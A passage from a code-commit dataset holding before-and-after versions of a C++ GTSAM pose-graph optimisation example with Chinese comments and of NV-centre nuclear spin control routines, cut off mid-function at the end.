MyPinCreationConfirmationViewModel::IsAddedToScreen() const\n {\n return m_screenControl.IsAddedToScreen();\n }\n\n bool MyPinCreationConfirmationViewModel::TryOpen()\n {\n return m_openable.TryAcquireReactorControl();\n }\n\n void MyPinCreationConfirmationViewModel::Close()\n {\n m_openable.ReleaseReactorControl();\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include <Eigen\/Core>\n\n#include <sophus\/se3.h>\n#include <sophus\/so3.h>\n\n#include <gtsam\/slam\/dataset.h>\n#include <gtsam\/slam\/BetweenFactor.h>\n#include <gtsam\/slam\/PriorFactor.h>\n#include <gtsam\/nonlinear\/GaussNewtonOptimizer.h>\n#include <gtsam\/nonlinear\/LevenbergMarquardtOptimizer.h>\n\nusing namespace std;\nusing Sophus::SE3;\nusing Sophus::SO3;\n\n\/************************************************\n * 本程序演示如何用gtsam进行位姿图优化\n * sphere.g2o是人工生成的一个Pose graph,我们来优化它。\n * **********************************************\/\nint main ( int argc, char** argv )\n{\n if ( argc != 2 )\n {\n cout<<\"Usage: pose_graph_gtsam sphere.g2o\"<<endl;\n return 1;\n }\n ifstream fin ( argv[1] );\n if ( !fin )\n {\n cout<<\"file \"<<argv[1]<<\" does not exist.\"<<endl;\n return 1;\n }\n\n gtsam::NonlinearFactorGraph::shared_ptr graph ( new gtsam::NonlinearFactorGraph );\n gtsam::Values::shared_ptr initial ( new gtsam::Values ); \/\/ init values\n \/\/ read from g2o file\n int cntVertex=0, cntEdge = 0;\n while ( !fin.eof() )\n {\n string tag;\n fin>>tag;\n if ( tag == \"VERTEX_SE3:QUAT\" )\n {\n gtsam::Key id;\n fin>>id;\n double data[7];\n for ( int i=0; i<7; i++ ) fin>>data[i];\n gtsam::Rot3 R = gtsam::Rot3::Quaternion ( data[6], data[3], data[4], data[5] );\n gtsam::Point3 t ( data[0], data[1], data[2] );\n initial->insert ( id, gtsam::Pose3 ( R,t ) );\n cntVertex++;\n }\n else if ( tag == \"EDGE_SE3:QUAT\" )\n {\n \/\/ factor\n gtsam::Matrix m = gtsam::I_6x6;\n gtsam::Key id1, id2;\n fin>>id1>>id2;\n double data[7];\n for ( int i=0; i<7; i++ ) fin>>data[i];\n gtsam::Rot3 R = gtsam::Rot3::Quaternion ( data[6], data[3], data[4], data[5] );\n gtsam::Point3 t ( data[0], data[1], data[2] );\n for ( int i=0; i<6; i++ )\n for ( int j=i; j<6; j++ )\n {\n double mij;\n fin>>mij;\n m ( i,j ) = mij;\n m ( j,i ) = mij;\n }\n \/\/ change the blocks because gtsam def is different with g2o\n gtsam::Matrix mgtsam = gtsam::I_6x6;\n mgtsam.block<3,3> ( 0,0 ) = m.block<3,3> ( 3,3 ); \/\/ cov rotation\n mgtsam.block<3,3> ( 3,3 ) = m.block<3,3> ( 0,0 ); \/\/ cov translation\n mgtsam.block<3,3> ( 0,3 ) = m.block<3,3> ( 0,3 ); \/\/ off diagonal\n mgtsam.block<3,3> ( 3,0 ) = m.block<3,3> ( 3,0 ); \/\/ off diagonal\n gtsam::SharedNoiseModel model = gtsam::noiseModel::Gaussian::Information ( mgtsam );\n gtsam::NonlinearFactor::shared_ptr factor ( new gtsam::BetweenFactor<gtsam::Pose3> ( id1, id2, gtsam::Pose3 ( R,t ), model ) );\n graph->push_back ( factor );\n cntEdge++;\n }\n if ( !fin.good() )\n break;\n }\n cout<<\"read total \"<<cntVertex<<\" vertices, \"<<cntEdge<<\" edges.\"<<endl;\n \/\/ add prior on the first key\n gtsam::NonlinearFactorGraph graphWithPrior = *graph;\n gtsam::noiseModel::Diagonal::shared_ptr priorModel = gtsam::noiseModel::Diagonal::Variances ( ( gtsam::Vector ( 6 ) <<1e-6, 1e-6, 1e-6, 1e-4, 1e-4, 1e-4 ).finished() );\n gtsam::Key firstKey = 0;\n for ( const gtsam::Values::ConstKeyValuePair& key_value: *initial )\n {\n cout<<\"Adding prior to g2o file \"<<endl;\n \/\/ firstKey = key_value.key;\n graphWithPrior.add ( gtsam::PriorFactor<gtsam::Pose3> ( \n key_value.key, key_value.value.cast<gtsam::Pose3>(), priorModel ) \n );\n \/\/ key_value.value.cast<gtsam::Pose3>();\n break;\n }\n\n cout<<\"optimizing the factor graph\"<<endl;\n gtsam::GaussNewtonParams params;\n params.setVerbosity ( \"TERMINATION\" );\n gtsam::GaussNewtonOptimizer optimizer ( graphWithPrior, *initial, params );\n \n gtsam::LevenbergMarquardtParams params_lm;\n params_lm.setVerbosity(\"ERROR\");\n params_lm.setMaxIterations(20);\n params_lm.setLinearSolverType(\"MULTIFRONTAL_QR\");\n gtsam::LevenbergMarquardtOptimizer optimizer_LM( graphWithPrior, *initial, params_lm );\n \n \/\/ gtsam::Values result = optimizer.optimize();\n gtsam::Values result = optimizer_LM.optimize();\n cout<<\"Optimization complete\"<<endl;\n cout<<\"initial error: \"<<graph->error ( *initial ) <<endl;\n cout<<\"final error: \"<<graph->error ( result ) <<endl;\n\n cout<<\"done. write to g2o ... \"<<endl;\n \/\/ vertices\n ofstream fout ( \"result_gtsam.g2o\" );\n for ( const gtsam::Values::ConstKeyValuePair& key_value: result )\n {\n gtsam::Pose3 pose = key_value.value.cast<gtsam::Pose3>();\n gtsam::Point3 p = pose.translation();\n gtsam::Quaternion q = pose.rotation().toQuaternion();\n fout<<\"VERTEX_SE3:QUAT \"<<key_value.key<<\" \"\n <<p.x() <<\" \"<<p.y() <<\" \"<<p.z() <<\" \"\n <<q.x()<<\" \"<<q.y()<<\" \"<<q.z()<<\" \"<<q.w()<<\" \"<<endl;\n }\n \/\/ edges \n for ( gtsam::NonlinearFactor::shared_ptr factor: *graph )\n {\n gtsam::BetweenFactor<gtsam::Pose3>::shared_ptr f = dynamic_pointer_cast<gtsam::BetweenFactor<gtsam::Pose3>>( factor );\n if ( f )\n {\n gtsam::SharedNoiseModel model = f->noiseModel();\n gtsam::noiseModel::Gaussian::shared_ptr gaussianModel = dynamic_pointer_cast<gtsam::noiseModel::Gaussian>( model );\n if ( gaussianModel )\n {\n \/\/ write the edge information \n gtsam::Matrix info = gaussianModel->R().transpose() * gaussianModel->R();\n gtsam::Pose3 pose = f->measured();\n gtsam::Point3 p = pose.translation();\n gtsam::Quaternion q = pose.rotation().toQuaternion();\n fout<<\"EDGE_SE3:QUAT \"<<f->key1()<<\" \"<<f->key2()<<\" \"\n <<p.x() <<\" \"<<p.y() <<\" \"<<p.z() <<\" \"\n <<q.x()<<\" \"<<q.y()<<\" \"<<q.z()<<\" \"<<q.w()<<\" \";\n gtsam::Matrix infoG2o = gtsam::I_6x6;\n infoG2o.block(0,0,3,3) = info.block(3,3,3,3); \/\/ cov translation\n infoG2o.block(3,3,3,3) = info.block(0,0,3,3); \/\/ cov rotation\n infoG2o.block(0,3,3,3) = info.block(0,3,3,3); \/\/ off diagonal\n infoG2o.block(3,0,3,3) = info.block(3,0,3,3); \/\/ off diagonal\n for ( int i=0; i<6; i++ )\n for ( int j=i; j<6; j++ )\n {\n fout<<infoG2o(i,j)<<\" \";\n }\n fout<<endl;\n }\n }\n }\n fout.close();\n cout<<\"done.\"<<endl;\n}\n<commit_msg>gtsam pose graph<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include <Eigen\/Core>\n\n#include <sophus\/se3.h>\n#include <sophus\/so3.h>\n\n#include <gtsam\/slam\/dataset.h>\n#include <gtsam\/slam\/BetweenFactor.h>\n#include <gtsam\/slam\/PriorFactor.h>\n#include <gtsam\/nonlinear\/GaussNewtonOptimizer.h>\n#include <gtsam\/nonlinear\/LevenbergMarquardtOptimizer.h>\n\nusing namespace std;\nusing Sophus::SE3;\nusing Sophus::SO3;\n\n\/************************************************\n * 本程序演示如何用 gtsam 进行位姿图优化\n * sphere.g2o 是人工生成的一个 Pose graph,我们来优化它。\n * 与 g2o 相似,在 gtsam 中添加的是因子,相当于误差\n * **********************************************\/\n\nint main ( int argc, char** argv )\n{\n if ( argc != 2 )\n {\n cout<<\"Usage: pose_graph_gtsam sphere.g2o\"<<endl;\n return 1;\n }\n ifstream fin ( argv[1] );\n if ( !fin )\n {\n cout<<\"file \"<<argv[1]<<\" does not exist.\"<<endl;\n return 1;\n }\n\n gtsam::NonlinearFactorGraph::shared_ptr graph ( new gtsam::NonlinearFactorGraph ); \/\/ gtsam的因子图\n gtsam::Values::shared_ptr initial ( new gtsam::Values ); \/\/ 初始值\n \/\/ 从g2o文件中读取节点和边的信息\n int cntVertex=0, cntEdge = 0;\n cout<<\"reading from g2o file\"<<endl;\n \n while ( !fin.eof() )\n {\n string tag;\n fin>>tag;\n if ( tag == \"VERTEX_SE3:QUAT\" )\n {\n \/\/ 顶点\n gtsam::Key id;\n fin>>id;\n double data[7];\n for ( int i=0; i<7; i++ ) fin>>data[i];\n \/\/ 转换至gtsam的Pose3\n gtsam::Rot3 R = gtsam::Rot3::Quaternion ( data[6], data[3], data[4], data[5] );\n gtsam::Point3 t ( data[0], data[1], data[2] );\n initial->insert ( id, gtsam::Pose3 ( R,t ) ); \/\/ 添加初始值\n cntVertex++;\n }\n else if ( tag == \"EDGE_SE3:QUAT\" )\n {\n \/\/ 边,对应到因子图中的因子\n gtsam::Matrix m = gtsam::I_6x6; \/\/ 信息矩阵\n gtsam::Key id1, id2;\n fin>>id1>>id2;\n double data[7];\n for ( int i=0; i<7; i++ ) fin>>data[i];\n gtsam::Rot3 R = gtsam::Rot3::Quaternion ( data[6], data[3], data[4], data[5] );\n gtsam::Point3 t ( data[0], data[1], data[2] );\n for ( int i=0; i<6; i++ )\n for ( int j=i; j<6; j++ )\n {\n double mij;\n fin>>mij;\n m ( i,j ) = mij;\n m ( j,i ) = mij;\n }\n \n \/\/ g2o的信息矩阵定义方式与gtsam不同,这里对它进行修改\n gtsam::Matrix mgtsam = gtsam::I_6x6;\n mgtsam.block<3,3> ( 0,0 ) = m.block<3,3> ( 3,3 ); \/\/ cov rotation\n mgtsam.block<3,3> ( 3,3 ) = m.block<3,3> ( 0,0 ); \/\/ cov translation\n mgtsam.block<3,3> ( 0,3 ) = m.block<3,3> ( 0,3 ); \/\/ off diagonal\n mgtsam.block<3,3> ( 3,0 ) = m.block<3,3> ( 3,0 ); \/\/ off diagonal\n \n gtsam::SharedNoiseModel model = gtsam::noiseModel::Gaussian::Information ( mgtsam ); \/\/ 高斯噪声模型\n gtsam::NonlinearFactor::shared_ptr factor ( \n new gtsam::BetweenFactor<gtsam::Pose3> ( id1, id2, gtsam::Pose3 ( R,t ), model ) \/\/ 添加一个因子\n );\n graph->push_back ( factor );\n cntEdge++;\n }\n if ( !fin.good() )\n break;\n }\n \n cout<<\"read total \"<<cntVertex<<\" vertices, \"<<cntEdge<<\" edges.\"<<endl;\n \/\/ 固定第一个顶点,在gtsam中相当于添加一个先验因子 \n gtsam::NonlinearFactorGraph graphWithPrior = *graph;\n gtsam::noiseModel::Diagonal::shared_ptr priorModel = \n gtsam::noiseModel::Diagonal::Variances (\n ( gtsam::Vector ( 6 ) <<1e-6, 1e-6, 1e-6, 1e-6, 1e-6, 1e-6 ).finished() \n );\n gtsam::Key firstKey = 0;\n for ( const gtsam::Values::ConstKeyValuePair& key_value: *initial )\n {\n cout<<\"Adding prior to g2o file \"<<endl;\n graphWithPrior.add ( gtsam::PriorFactor<gtsam::Pose3> ( \n key_value.key, key_value.value.cast<gtsam::Pose3>(), priorModel ) \n );\n break;\n }\n\n \/\/ 开始因子图优化,配置优化选项\n cout<<\"optimizing the factor graph\"<<endl;\n \/\/ 我们使用 LM 优化\n gtsam::LevenbergMarquardtParams params_lm;\n params_lm.setVerbosity(\"ERROR\");\n params_lm.setMaxIterations(20);\n params_lm.setLinearSolverType(\"MULTIFRONTAL_QR\");\n gtsam::LevenbergMarquardtOptimizer optimizer_LM( graphWithPrior, *initial, params_lm );\n \n \/\/ 你可以尝试下 GN\n \/\/ gtsam::GaussNewtonParams params_gn;\n \/\/ params_gn.setVerbosity(\"ERROR\");\n \/\/ params_gn.setMaxIterations(20);\n \/\/ params_gn.setLinearSolverType(\"MULTIFRONTAL_QR\");\n \/\/ gtsam::GaussNewtonOptimizer optimizer ( graphWithPrior, *initial, params_gn );\n \n gtsam::Values result = optimizer_LM.optimize();\n cout<<\"Optimization complete\"<<endl;\n cout<<\"initial error: \"<<graph->error ( *initial ) <<endl;\n cout<<\"final error: \"<<graph->error ( result ) <<endl;\n\n cout<<\"done. write to g2o ... \"<<endl;\n \/\/ 写入 g2o 文件,同样伪装成 g2o 中的顶点和边,以便用 g2o_viewer 查看。\n \/\/ 顶点咯\n ofstream fout ( \"result_gtsam.g2o\" );\n for ( const gtsam::Values::ConstKeyValuePair& key_value: result )\n {\n gtsam::Pose3 pose = key_value.value.cast<gtsam::Pose3>();\n gtsam::Point3 p = pose.translation();\n gtsam::Quaternion q = pose.rotation().toQuaternion();\n fout<<\"VERTEX_SE3:QUAT \"<<key_value.key<<\" \"\n <<p.x() <<\" \"<<p.y() <<\" \"<<p.z() <<\" \"\n <<q.x()<<\" \"<<q.y()<<\" \"<<q.z()<<\" \"<<q.w()<<\" \"<<endl;\n }\n \/\/ 边咯 \n for ( gtsam::NonlinearFactor::shared_ptr factor: *graph )\n {\n gtsam::BetweenFactor<gtsam::Pose3>::shared_ptr f = dynamic_pointer_cast<gtsam::BetweenFactor<gtsam::Pose3>>( factor );\n if ( f )\n {\n gtsam::SharedNoiseModel model = f->noiseModel();\n gtsam::noiseModel::Gaussian::shared_ptr gaussianModel = dynamic_pointer_cast<gtsam::noiseModel::Gaussian>( model );\n if ( gaussianModel )\n {\n \/\/ write the edge information \n gtsam::Matrix info = gaussianModel->R().transpose() * gaussianModel->R();\n gtsam::Pose3 pose = f->measured();\n gtsam::Point3 p = pose.translation();\n gtsam::Quaternion q = pose.rotation().toQuaternion();\n fout<<\"EDGE_SE3:QUAT \"<<f->key1()<<\" \"<<f->key2()<<\" \"\n <<p.x() <<\" \"<<p.y() <<\" \"<<p.z() <<\" \"\n <<q.x()<<\" \"<<q.y()<<\" \"<<q.z()<<\" \"<<q.w()<<\" \";\n gtsam::Matrix infoG2o = gtsam::I_6x6;\n infoG2o.block(0,0,3,3) = info.block(3,3,3,3); \/\/ cov translation\n infoG2o.block(3,3,3,3) = info.block(0,0,3,3); \/\/ cov rotation\n infoG2o.block(0,3,3,3) = info.block(0,3,3,3); \/\/ off diagonal\n infoG2o.block(3,0,3,3) = info.block(3,0,3,3); \/\/ off diagonal\n for ( int i=0; i<6; i++ )\n for ( int j=i; j<6; j++ )\n {\n fout<<infoG2o(i,j)<<\" \";\n }\n fout<<endl;\n }\n }\n }\n fout.close();\n cout<<\"done.\"<<endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \/\/ for standard output\nusing namespace std;\n\n#include <eigen3\/Eigen\/Dense> \/\/ linear algebra library\nusing namespace Eigen;\n\n#include \"constants.h\"\n#include \"qp-math.h\"\n#include \"nv-math.h\"\n#include \"nv-control.h\"\n\n\/\/--------------------------------------------------------------------------------------------\n\/\/ Coordinate systems\n\/\/--------------------------------------------------------------------------------------------\n\n\/\/ return \"natural\" basis of a nucleus\nvector<Vector3d> natural_basis(const nv_system& nv, const uint index){\n const Vector3d target_zhat = hat(effective_larmor(nv,index));\n const Vector3d target_xhat = hat(hyperfine_perp(nv,index));\n const Vector3d target_yhat = target_zhat.cross(target_xhat);\n return {target_xhat, target_yhat, target_zhat};\n}\n\n\/\/--------------------------------------------------------------------------------------------\n\/\/ General control methods\n\/\/--------------------------------------------------------------------------------------------\n\n\/\/ propagator U = exp(-i * rotation_angle * sigma_{axis}^{index})\nMatrixXcd U_ctl(const nv_system& nv, const uint index, const double target_azimuth,\n const double rotation_angle, const bool exact, const bool adjust_AXY,\n const double z_phase){\n \/\/ identify cluster of target nucleus\n const uint cluster = get_cluster_containing_index(nv,index);\n const uint index_in_cluster = get_index_in_cluster(index,nv.clusters.at(cluster));\n const uint spins = nv.clusters.at(cluster).size()+1;\n\n \/\/ target axis of rotation\n const Vector3d axis_ctl = natural_axis(nv, index, target_azimuth);\n\n if(exact){\n \/\/ return exact propagator\n const MatrixXcd G = exp(-j * rotation_angle * dot(s_vec,axis_ctl));\n return act(G, {index_in_cluster+1}, spins);\n }\n\n for(uint i = 0; i < nv.clusters.at(cluster).size(); i++){\n if(nv.clusters.at(cluster).at(i) == index) continue;\n if(is_larmor_pair(nv, index, nv.clusters.at(cluster).at(i))){\n cout << \"Cannot address nuclei with larmor pairs: \"\n << index << \", \" << nv.clusters.at(cluster).at(i) << endl;\n return MatrixXcd::Identity(pow(2,spins),pow(2,spins));\n }\n }\n\n \/\/ larmor frequency of target nucleus\n const double w_larmor = effective_larmor(nv,index).norm();\n const double t_larmor = 2*pi\/w_larmor;\n\n \/\/ AXY protocol parameters\n const double sA = nv.scale_factor * hyperfine(nv,index).norm();\n const double w_DD = [&]() -> double {\n const double w_DD_large = (w_larmor+sA)\/3.;\n if(w_larmor < sA){\n return w_DD_large;\n } else{\n const uint k_m = 2*int(0.5 * (w_larmor\/sA-1) );\n const double w_DD_small = (w_larmor-sA)\/k_m;\n if(w_DD_small > sA && isfinite(w_DD_small)){\n return w_DD_small;\n } else{\n return w_DD_large;\n }\n }\n }();\n\n const double t_DD = 2*pi\/w_DD;\n const axy_harmonic k_DD = abs(w_DD - w_larmor) < abs(3*w_DD - w_larmor) ? first : third;\n const double f_DD = 0;\n\n \/\/ control field frequency = effective larmor frequency of target nucleus\n const double w_ctl = w_larmor; \/\/ control field frequency\n const double dw_min = larmor_resolution(nv,index);\n double g_B_ctl = dw_min\/nv.scale_factor; \/\/ ctl field strength * gyromangnetic ratio\n\n const double control_period = 2*pi*4\/g_B_ctl;\n double control_time = -4*rotation_angle\/g_B_ctl; \/\/ control operation time\n while(control_time >= control_period) control_time -= control_period;\n while(control_time < 0) control_time += control_period;\n if(control_time > control_period\/2){\n g_B_ctl *= -1;\n control_time = control_period-control_time;\n }\n\n const double B_ctl = g_B_ctl\/nv.nuclei.at(index).g; \/\/ control field strength\n const control_fields controls(B_ctl*axis_ctl, w_ctl); \/\/ control field object\n\n MatrixXcd U_ctl;\n if(!adjust_AXY){\n U_ctl = simulate_propagator(nv, cluster, w_DD, f_DD, k_DD, controls, control_time);\n } else{ \/\/ if(adjust_AXY)\n assert(w_DD != w_larmor);\n if(w_DD < w_larmor){\n const uint freq_ratio = 2*round(0.5*w_larmor\/w_DD);\n const double w_DD_adjusted = w_larmor\/freq_ratio;\n const double t_DD_adjusted = 2*pi\/w_DD_adjusted;\n const uint cycles = int(control_time\/t_DD_adjusted);\n\n const double leading_time = control_time - cycles*t_DD_adjusted;\n const double trailing_time = t_DD_adjusted - leading_time;\n\n const MatrixXcd U_leading = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, leading_time);\n const MatrixXcd U_trailing = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, trailing_time, leading_time);\n\n U_ctl = U_leading * pow(U_trailing*U_leading,cycles);\n } else{ \/\/ if(w_DD > w_larmor)\n const uint freq_ratio = round(w_DD\/w_larmor);\n const double w_DD_adjusted = w_larmor*freq_ratio;\n const double t_DD_adjusted = 2*pi\/w_DD_adjusted;\n const uint cycles = int(control_time\/t_larmor);\n\n const double leading_time = control_time - cycles*t_larmor;\n const double trailing_time = t_larmor - leading_time;\n\n const MatrixXcd U_leading = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, leading_time);\n const MatrixXcd U_trailing = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, trailing_time, leading_time);\n\n U_ctl = U_leading * pow(U_trailing*U_leading,cycles);\n }\n }\n\n double flush_time = ceil(control_time\/t_larmor)*t_larmor - control_time - z_phase\/w_larmor;\n flush_time -= floor(flush_time\/t_larmor)*t_larmor;\n const MatrixXcd U_flush =\n simulate_propagator(nv, cluster, w_DD, f_DD, k_DD, flush_time, control_time);\n\n return U_flush * U_ctl;\n}\n\n\/\/ compute and perform rotation of target nucleus necessary to generate U\nMatrixXcd rotate_target(const nv_system& nv, const uint index, const Matrix2cd U,\n const bool exact, const bool adjust_AXY){\n if(exact){\n const uint cluster = get_cluster_containing_index(nv,index);\n const uint index_in_cluster = get_index_in_cluster(index,nv.clusters.at(cluster));\n const uint spins = nv.clusters.at(cluster).size()+1;\n return act(U, {index_in_cluster+1}, spins);\n }\n\n const Vector4cd H_vec = U_decompose(j*log(U));\n const double rx = real(H_vec(1))*2;\n const double ry = real(H_vec(2))*2;\n const double rz = real(H_vec(3))*2;\n\n const double rotation_angle = sqrt(rx*rx + ry*ry + rz*rz);\n const double azimuth = atan2(ry,rx);\n const double pitch = asin(rz\/rotation_angle);\n\n if(pi - 2*abs(pitch) < 2*abs(pitch) + abs(rotation_angle)){\n const int pole = pitch > 0 ? 1 : -1; \/\/ \"north\" vs \"south\" pole\n const double angle_to_pole = pi\/2 - abs(pitch);\n\n const MatrixXcd to_pole =\n U_ctl(nv, index, azimuth - pi\/2, pole*angle_to_pole\/2, exact, adjust_AXY);\n const MatrixXcd rotate = U_ctl(nv, index, 0, 0, exact, adjust_AXY, pole*rotation_angle);\n\n return to_pole.adjoint() * rotate * to_pole;\n\n } else{\n const MatrixXcd to_equator = U_ctl(nv, index, azimuth + pi\/2, pitch\/2, exact, adjust_AXY);\n const MatrixXcd rotate = U_ctl(nv, index, azimuth, rotation_angle\/2, exact, adjust_AXY);\n\n return to_equator.adjoint() * rotate * to_equator;\n }\n}\n\n\/\/ propagator U = exp(-i * rotation_angle * sigma_{n_1}^{NV}*sigma_{n_2}^{index})\nMatrixXcd U_int(const nv_system& nv, const uint index, const double nv_azimuth,\n const double nv_polar, const double target_azimuth,\n const double rotation_angle, const bool exact){\n \/\/ identify cluster of target nucleus\n const uint cluster = get_cluster_containing_index(nv,index);\n const uint index_in_cluster = get_index_in_cluster(index,nv.clusters.at(cluster));\n const uint spins = nv.clusters.at(cluster).size()+1;\n\n \/\/ NV spin axis\n const Vector3d nv_axis = axis(nv_azimuth,nv_polar);\n\n if(exact){\n \/\/ return exact propagator\n const Vector3d target_axis = natural_axis(nv,index,target_azimuth);\n const MatrixXcd G = exp(-j * rotation_angle *\n tp(dot(s_vec,nv_axis), dot(s_vec,target_axis)));\n return act(G, {0,index_in_cluster+1}, spins);\n }\n\n \/\/ verify that we can address this nucleus\n if(round(4*dot(nv.nuclei.at(index).pos,ao)) == 0.){\n cout << \"Cannot address nuclei without hyperfine coupling perpendicular to the NV axis: \"\n << index << endl;\n return MatrixXcd::Identity(pow(2,spins),pow(2,spins));\n }\n for(uint i = 0; i < nv.clusters.at(cluster).size(); i++){\n if(nv.clusters.at(cluster).at(i) == index) continue;\n if(is_larmor_pair(nv, index, nv.clusters.at(cluster).at(i))){\n cout << \"Cannot address nuclei with larmor pairs: \"\n << index << \", \" << nv.clusters.at(cluster).at(i) << endl;\n return MatrixXcd::Identity(pow(2,spins),pow(2,spins));\n }\n }\n\n \/\/ larmor frequency of and perpendicular component of hyperfine field at target nucleus\n const double w_larmor = effective_larmor(nv,index).norm();\n const double t_larmor = 2*pi\/w_larmor;\n const double dw_min = larmor_resolution(nv,index);\n const Vector3d A_perp = hyperfine_perp(nv,index);\n\n \/\/ AXY sequence parameters\n const double w_DD = w_larmor\/nv.k_DD; \/\/ AXY protocol angular frequency\n const double t_DD = 2*pi\/w_DD; \/\/ AXY protocol period\n double f_DD = min(dw_min\/(A_perp.norm()*nv.scale_factor), axy_f_max(nv.k_DD));\n\n const double interaction_period = 2*pi\/abs(f_DD*A_perp.norm()\/8);\n double interaction_time = rotation_angle\/(nv.ms*f_DD*A_perp.norm()\/8);\n while(interaction_time >= interaction_period) interaction_time -= interaction_period;\n while(interaction_time < 0) interaction_time += interaction_period;\n if(interaction_time > interaction_period\/2){\n f_DD *= -1;\n interaction_time = interaction_period-interaction_time;\n }\n\n const MatrixXcd U_int = simulate_propagator(nv, cluster, w_DD, f_DD, nv.k_DD,\n interaction_time, -target_azimuth\/w_DD);\n\n const double flush_time = ceil(interaction_time\/t_larmor)*t_larmor - interaction_time;\n const MatrixXcd U_flush = simulate_propagator(nv, cluster, w_DD, 0, nv.k_DD, flush_time,\n interaction_time - target_azimuth\/w_DD);\n\n \/\/ rotate the NV spin between the desired axis and zhat\n const MatrixXcd nv_to_zhat = rotate_NV(nv,rotate(zhat,nv_axis),spins);\n\n return U_flush * nv_to_zhat.adjoint() * U_int * nv_to_zhat;\n}\n\n\/\/--------------------------------------------------------------------------------------------\n\/\/ Specific operations\n\/\/--------------------------------------------------------------------------------------------\n\n\/\/ iSWAP operation\nMatrixXcd iSWAP(const nv_system& nv, const uint index, const bool exact){\n const double iswap_angle = -pi\/4;\n const double xy_polar = pi\/2;\n const double xhat_azimuth = 0;\n const double yhat_azimuth = pi\/2;\n return\n U_int(nv, index, xhat_azimuth, xy_polar, xhat_azimuth, iswap_angle, exact) *\n U_int(nv, index, yhat_azimuth, xy_polar, yhat_azimuth, iswap_angle, exact);\n};\n\nMatrixXcd SWAP_NVST(const nv_system& nv, const uint idx1, const uint idx2, const bool exact){\n \/\/ assert that both target nuclei are in the same cluster\n const vector<uint> cluster = nv.clusters.at(get_cluster_containing_index(nv,idx1));\n assert(in_vector(idx2,cluster));\n\n \/\/ define angles\n const double angle = pi\/4;\n const double z_polar = 0;\n const double xy_polar = pi\/2;\n const double xhat_azimuth = 0;\n const double yhat_azimuth = pi\/2;\n\n \/\/ compute components of SWAP_NVST\n const MatrixXcd Rz_NV = rotate_NV(nv, rotate(2*angle*zhat), cluster.size()+1);\n const MatrixXcd Rx_1 = U_ctl(nv, idx1, xhat_azimuth, angle, exact);\n const MatrixXcd Ry_1 = U_ctl(nv, idx1, yhat_azimuth, angle, exact);\n const MatrixXcd Rz_1 = Rx_1 * Ry_1 * Rx_1.adjoint();\n const MatrixXcd iSWAP_NV_1 =\n U_int(nv, idx1, xhat_azimuth, xy_polar, xhat_azimuth, -angle, exact) *\n U_int(nv, idx1, yhat_azimuth, xy_polar, yhat_azimuth, -angle, exact);\n const MatrixXcd cNOT_NV_1 =\n Rz_NV * Rx_1 * U_int(nv, idx1, xhat_azimuth, z_polar, xhat_azimuth, -angle, exact);\n const MatrixXcd E_NV_2 =\n U_int(nv, idx2, yhat_azimuth, xy_polar, xhat_azimuth, -angle, exact);\n\n \/\/ combine componenets into full SWAP_NVST operation\n const MatrixXcd M = E_NV_2.adjoint() * iSWAP_NV_1 * Rz_1.adjoint() * Rz_NV;\n return M.adjoint() * cNOT_NV_1 * M;\n}\n<commit_msg>perform exact rotate_target in natural target basis; improve determination of which rotation sequence to use in inexact rotate_target<commit_after>#include <iostream> \/\/ for standard output\nusing namespace std;\n\n#include <eigen3\/Eigen\/Dense> \/\/ linear algebra library\nusing namespace Eigen;\n\n#include \"constants.h\"\n#include \"qp-math.h\"\n#include \"nv-math.h\"\n#include \"nv-control.h\"\n\n\/\/--------------------------------------------------------------------------------------------\n\/\/ Coordinate systems\n\/\/--------------------------------------------------------------------------------------------\n\n\/\/ return \"natural\" basis of a nucleus\nvector<Vector3d> natural_basis(const nv_system& nv, const uint index){\n const Vector3d target_zhat = hat(effective_larmor(nv,index));\n const Vector3d target_xhat = hat(hyperfine_perp(nv,index));\n const Vector3d target_yhat = target_zhat.cross(target_xhat);\n return {target_xhat, target_yhat, target_zhat};\n}\n\n\/\/--------------------------------------------------------------------------------------------\n\/\/ General control methods\n\/\/--------------------------------------------------------------------------------------------\n\n\/\/ propagator U = exp(-i * rotation_angle * sigma_{axis}^{index})\nMatrixXcd U_ctl(const nv_system& nv, const uint index, const double target_azimuth,\n const double rotation_angle, const bool exact, const bool adjust_AXY,\n const double z_phase){\n \/\/ identify cluster of target nucleus\n const uint cluster = get_cluster_containing_index(nv,index);\n const uint index_in_cluster = get_index_in_cluster(index,nv.clusters.at(cluster));\n const uint spins = nv.clusters.at(cluster).size()+1;\n\n \/\/ target axis of rotation\n const Vector3d axis_ctl = natural_axis(nv, index, target_azimuth);\n\n if(exact){\n \/\/ return exact propagator\n const MatrixXcd G = exp(-j * rotation_angle * dot(s_vec,axis_ctl));\n return act(G, {index_in_cluster+1}, spins);\n }\n\n for(uint i = 0; i < nv.clusters.at(cluster).size(); i++){\n if(nv.clusters.at(cluster).at(i) == index) continue;\n if(is_larmor_pair(nv, index, nv.clusters.at(cluster).at(i))){\n cout << \"Cannot address nuclei with larmor pairs: \"\n << index << \", \" << nv.clusters.at(cluster).at(i) << endl;\n return MatrixXcd::Identity(pow(2,spins),pow(2,spins));\n }\n }\n\n \/\/ larmor frequency of target nucleus\n const double w_larmor = effective_larmor(nv,index).norm();\n const double t_larmor = 2*pi\/w_larmor;\n\n \/\/ AXY protocol parameters\n const double sA = nv.scale_factor * hyperfine(nv,index).norm();\n const double w_DD = [&]() -> double {\n const double w_DD_large = (w_larmor+sA)\/3.;\n if(w_larmor < sA){\n return w_DD_large;\n } else{\n const uint k_m = 2*int(0.5 * (w_larmor\/sA-1) );\n const double w_DD_small = (w_larmor-sA)\/k_m;\n if(w_DD_small > sA && isfinite(w_DD_small)){\n return w_DD_small;\n } else{\n return w_DD_large;\n }\n }\n }();\n\n const double t_DD = 2*pi\/w_DD;\n const axy_harmonic k_DD = abs(w_DD - w_larmor) < abs(3*w_DD - w_larmor) ? first : third;\n const double f_DD = 0;\n\n \/\/ control field frequency = effective larmor frequency of target nucleus\n const double w_ctl = w_larmor; \/\/ control field frequency\n const double dw_min = larmor_resolution(nv,index);\n double g_B_ctl = dw_min\/nv.scale_factor; \/\/ ctl field strength * gyromangnetic ratio\n\n const double control_period = 2*pi*4\/g_B_ctl;\n double control_time = 